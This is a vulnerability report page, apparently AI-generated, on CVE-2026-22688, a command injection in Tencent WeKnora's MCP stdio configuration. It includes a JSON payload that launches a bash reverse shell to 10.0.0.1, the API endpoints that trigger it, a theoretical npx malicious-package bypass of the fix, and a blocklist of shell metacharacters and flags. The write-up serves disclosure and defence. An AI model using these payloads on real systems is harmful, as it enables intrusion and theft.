CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-22688

WeKnora Unchained: From Model Context to Remote Shell

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 21, 2026·6 min read·44 visits

Executive Summary (TL;DR)

WeKnora trusted user input for subprocess execution. Authenticated users could configure the 'stdio' transport to run `/bin/bash` instead of legitimate tools, leading to immediate RCE. Fixed in v0.2.5 via strict allowlisting.

A critical command injection vulnerability in Tencent's WeKnora framework allows low-privileged users to execute arbitrary system commands via the Model Context Protocol (MCP) configuration. By manipulating the 'stdio' transport settings, attackers can escape the application sandbox and gain full control over the host server.

The Hook: When "Agentic" Becomes "Apocalyptic"

We live in the golden age of "Agentic AI"—frameworks that don't just chat with you but actually do things. Tencent's WeKnora is one such beast, designed for document understanding and semantic retrieval. To do its job, it uses the Model Context Protocol (MCP), a standard that allows the LLM to interface with local tools and servers. Think of MCP as the hands of the AI.

But here is the problem: In early versions of WeKnora, the developers forgot to put handcuffs on those hands. The framework supports a stdio transport layer, which essentially tells the server: "Hey, spawn this process and talk to it via standard input/output."

For a security researcher, seeing a feature that spawns processes based on user configuration is like smelling blood in the water. It’s not just a feature; it’s a potential remote shell wrapped in a fancy API. And in CVE-2026-22688, that potential became a reality.

The Flaw: Trusting the User with `exec()`

The root cause is a classic failure of input sanitization meeting a dangerous sink. The vulnerability lies deep within internal/application/service/mcp_service.go and internal/mcp/client.go.

When a user creates an MCP Service, they define the configuration. Specifically, they can choose the transport_type. If they select stdio, the application expects a stdio_config object containing a command and a list of args.

In a secure world, this command would be an index pointing to a pre-defined, hardcoded list of safe binaries (like a specific python script or a grep tool). In WeKnora's world (prior to v0.2.5), it was a raw string passed directly to the operating system's process spawner.

The application effectively said: "You want to run ls? Sure. You want to run curl? Okay. You want to run /bin/bash and pipe the internet into my kernel? Right this way, sir."

Because the CreateMCPService and UpdateMCPService functions lacked any validation logic, they happily stored these malicious configurations in the database. The moment the "Test Connection" feature was triggered, the application hydrated that config and passed it to Go's os/exec equivalent via the mcp-go library.

The Code: From Free-For-All to Lockdown

Let's look at the transition. Before the patch, the code essentially took the JSON payload and mapped it 1:1 to an execution context. There were no guardrails.

The fix, introduced in commit f7900a5e9a18c99d25cec9589ead9e4e59ce04bb, is a textbook example of "Allowlisting vs. Blocklisting"—and they decided to use both.

The Patch Strategy:

  1. Strict Launcher Allowlist: You can no longer run bash, sh, or python directly. You are restricted to npx and uvx. These are package runners for Node and Python, which is still risky (more on that later), but better than raw shell access.
  2. Argument Sanitation: They implemented a regex-based blocklist in internal/utils/security.go to catch shell metacharacters.

Here is a conceptual look at the validation logic introduced:

// heavily simplified representation of the fix
func ValidateStdioConfig(cmd string, args []string) error {
    // 1. Check the Command
    allowedCmds := map[string]bool{"npx": true, "uvx": true}
    if !allowedCmds[cmd] {
        return errors.New("command not allowed")
    }
 
    // 2. Check the Arguments for Evil
    // Block list: command injection chars, path traversal, dangerous flags
    dangerousPatterns := []string{
        "-c", "--command", // shell execution
        ";", "|", "&",     // chaining
        "$(", "`",         // substitution
        ">", "<",          // redirection
        "../",             // traversal
    }
 
    for _, arg := range args {
        for _, pattern := range dangerousPatterns {
            if strings.Contains(arg, pattern) {
                return errors.New("illegal argument detected")
            }
        }
    }
    return nil
}

This code attempts to neuter the attack by ensuring that even if you run npx, you can't easily chain it into a reverse shell using standard shell flags.

The Exploit: Dropping the Shell

Exploiting this on a vulnerable instance (pre-0.2.5) is trivial and requires no advanced memory corruption techniques. It is a logic bug, pure and simple.

Prerequisites:

  • A user account on the WeKnora instance (Low Privilege is sufficient).
  • Network access to the API.

The Attack Chain:

  1. Target Selection: Identify the endpoint to create a new MCP service. Usually POST /api/v1/mcp-services.
  2. Payload Construction: We don't want to just run a command; we want a persistent connection. We'll use a standard reverse shell payload, but wrapped in JSON.
{
  "name": "System Update Service",
  "type": "stdio",
  "stdio_config": {
    "command": "/bin/bash",
    "args": [
      "-c",
      "bash -i >& /dev/tcp/10.0.0.1/1337 0>&1"
    ]
  }
}
  1. Trigger: Send the payload. The server saves it. Now, find the ID of your new service and hit the "Test" endpoint: POST /api/v1/mcp-services/{ID}/test.

  2. Execution: The server spins up bash, executes your reverse shell one-liner, and your netcat listener on 10.0.0.1 lights up with a root (or app-user) prompt.

> [!WARNING] > Because WeKnora is often deployed in containerized environments with high privileges to access documents, the compromised user often has significant read/write access to the internal network or sensitive document stores.

Re-Exploitation: Is the Fix Enough?

The patch restricts the command to npx or uvx. While this stops bash -c, it is not a silver bullet. npx (Node Package Execute) is designed to download and run code.

While the patch blocks arguments like -c or ;, an attacker might still be able to craft a malicious npm package. If the server has internet access, an attacker could publish a package legit-looking-tool that contains a postinstall script or a main entry point that executes a reverse shell.

Theoretical Bypass:

{
  "command": "npx",
  "args": ["-y", "@attacker/malicious-package"]
}

If the argument validator only looks for shell syntax (like | or &) and misses the fact that npx itself is an execution engine, the fix is merely a speed bump. This highlights the difficulty of securing "Agentic" protocols—if you allow the agent to run code, you are always one configuration error away from RCE.

Impact Assessment

Confidentiality: Total loss. The attacker can read all documents WeKnora has indexed, database credentials, and API keys stored in environment variables.

Integrity: Total loss. The attacker can modify the application code, inject backdoors into the frontend to capture other users' credentials, or delete data.

Availability: Total loss. rm -rf / is a valid command arguments list.

This vulnerability is rated Critical (9.9) because it requires low privileges, has no user interaction requirement (UI:N), and results in a scope change (S:C) where the attacker pivots from the web app to the underlying OS.

Official Patches

TencentCommit fixing the MCP command injection

Fix Analysis (1)

Technical Appendix

CVSS Score
9.9/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
EPSS Probability
0.34%
Top 43% most exploited

Affected Systems

Tencent WeKnora < 0.2.5

Affected Versions Detail

Product
Affected Versions
Fixed Version
WeKnora
Tencent
< 0.2.50.2.5
AttributeDetail
CWE IDCWE-77 (Command Injection)
CVSS Score9.9 (Critical)
Attack VectorNetwork (Authenticated)
Attack ComplexityLow
Privileges RequiredLow
ScopeChanged
EPSS Score0.00343

MITRE ATT&CK Mapping

T1059.004Command and Scripting Interpreter: Unix Shell
Execution
T1203Exploitation for Client Execution
Execution
CWE-77
Improper Neutralization of Special Elements used in a Command ('Command Injection')

The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command.

Known Exploits & Detection

Internal AnalysisThe exploit involves creating an MCP service with 'command': '/bin/bash' and arguments directing a reverse shell.

Vulnerability Timeline

Vulnerability identified internally/reported
2025-12-19
Patch commit f7900a5e pushed to main branch
2025-12-22
Public disclosure via GHSA and CVE assignment
2026-01-10

References & Sources

  • [1]GHSA Advisory
  • [2]CWE-77: Command Injection

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 4 hours ago•GHSA-PW6J-QG29-8W7F
5.9

GHSA-pw6j-qg29-8w7f: State Persistence and Sensitive Credential Leakage in Tornado CurlAsyncHTTPClient

A state persistence vulnerability exists in Tornado's CurlAsyncHTTPClient component where pooled pycurl.Curl handles are reused across asynchronous requests without a complete state reset. Consequently, sensitive per-request configurations, such as client TLS certificates or proxy basic authentication credentials, persist on the shared handle. This behavior leads to subsequent requests leaking these credentials to unauthorized remote servers.

Amit Schendel
Amit Schendel
3 views•7 min read
•about 4 hours ago•CVE-2026-48748
7.5

CVE-2026-48748: Netty HTTP/3 QPACK Blocked Streams Memory Exhaustion

CVE-2026-48748 is a denial-of-service vulnerability in Netty's HTTP/3 codec (netty-codec-http3) occurring when QPACK dynamic tables are enabled but the blocked streams limit is not explicitly configured. A bug in limit checking and a memory leak in stream tracking allow unauthenticated remote attackers to exhaust the JVM heap memory and crash the server.

Amit Schendel
Amit Schendel
3 views•6 min read
•about 5 hours ago•CVE-2026-50009
4.8

CVE-2026-50009: Stateless Reset Token Exposure in Netty QUIC

CVE-2026-50009 is a cryptographic design vulnerability in the Netty network application framework. Prior to version 4.2.15.Final, the framework's QUIC protocol implementation fails to cryptographically segregate the generated Connection IDs and the associated Stateless Reset Tokens. An on-path network attacker who sniffs traffic during a Connection ID rotation can extract secret token material from cleartext headers, enabling them to inject spoofed reset packets and terminate active connections.

Alon Barad
Alon Barad
3 views•6 min read
•about 5 hours ago•CVE-2026-50010
7.5

CVE-2026-50010: Hostname Verification Bypass in Netty TLS Client

A critical hostname verification bypass vulnerability exists in the Netty network application framework when configured as a TLS client. When a developer registers a custom plain X509TrustManager, Netty wraps it inside an X509TrustManagerWrapper to adapt it to the X509ExtendedTrustManager API. However, this wrapper discards the SSLEngine context, bypassing critical hostname checks. Because the wrapper is identified as an X509ExtendedTrustManager, standard cryptographic engines and Netty's OpenSSL wrappers do not re-wrap it, failing to execute any hostname validation. Consequently, clients silently accept certificates for any host, enabling unauthenticated Man-in-the-Middle (MitM) attacks.

Amit Schendel
Amit Schendel
3 views•8 min read
•about 6 hours ago•CVE-2026-50011
7.5

CVE-2026-50011: Unbounded Resource Pre-Allocation in Netty Redis Codec

An uncontrolled resource pre-allocation flaw in the Netty Redis codec module allows remote unauthenticated attackers to cause a denial of service (OutOfMemoryError) by sending a crafted Redis Serialization Protocol (RESP) array header.

Amit Schendel
Amit Schendel
4 views•7 min read
•about 6 hours ago•CVE-2026-50020
5.3

CVE-2026-50020: HTTP Request Smuggling in Netty HttpObjectDecoder via Arbitrary Leading Control Bytes

CVE-2026-50020 is a medium-severity HTTP Request Smuggling/Response Smuggling vulnerability (CWE-444) within the Netty asynchronous network application framework. The flaw resides in Netty's HTTP codec implementation, specifically the HttpObjectDecoder class, which silently consumes arbitrary ISO control bytes preceding the first request line.

Alon Barad
Alon Barad
4 views•7 min read